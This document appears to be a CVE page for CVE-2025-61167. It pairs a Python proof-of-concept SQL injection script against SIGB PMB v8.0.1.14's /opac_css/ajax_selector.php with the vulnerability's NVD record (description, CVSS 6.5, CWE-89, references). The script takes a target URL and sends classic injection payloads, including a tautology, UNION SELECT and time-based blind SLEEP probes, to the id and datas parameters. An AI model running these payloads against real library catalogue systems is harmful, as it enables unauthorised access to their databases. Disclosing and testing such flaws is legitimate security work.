CVE-2025-61167

import requests import sys # CVE-2025-61167 SQL Injection PoC # Target: SIGB PMB v8.0.1.14 # Endpoint: /opac_css/ajax_selector.php def exploit_sql_injection(target_url, param_name): # Basic SQL injection test payload payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1' OR 1=1 LIMIT 1--" ] for payload in payloads: params = {param_name: payload} try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Payload sent: {payload}") print(f"[*] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def extract_database_info(target_url): # Blind SQL injection to extract database version payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE 0 END)--" params = {"id": payload, "datas": "test"} try: response = requests.get(target_url, params=params, timeout=15) if response.elapsed.total_seconds() > 2: print("[+] Blind SQL injection confirmed!") except: pass if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-61167.py <target_url>") print("Example: python cve-2025-61167.py http://target.com/opac_css/ajax_selector.php") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2025-61167 on {target}") exploit_sql_injection(target, "id") exploit_sql_injection(target, "datas") extract_database_info(target)

{"cve": {"id": "CVE-2025-61167", "sourceIdentifier": "[email protected]", "published": "2025-11-25T19:15:50.027", "lastModified": "2025-12-01T14:20:07.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SIGB PMB v8.0.1.14 was discovered to contain multiple SQL injection vulnerabilities in the /opac_css/ajax_selector.php component via the id and datas parameters."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sigb:pmb:8.0.1.14:*:*:*:*:*:*:*", "matchCriteriaId": "98BC8F88-A54A-4323-8B11-8B7A16B88BE5"}]}]}], "references": [{"url": "http://pmb.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "http://sigb.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://forge.sigb.net/projects/pmb/wiki/Changelog_801#S%C3%A9curit%C3%A9-2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://gist.github.com/ZanyMonk/ed12e265f777152c33aeb806a644850e", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}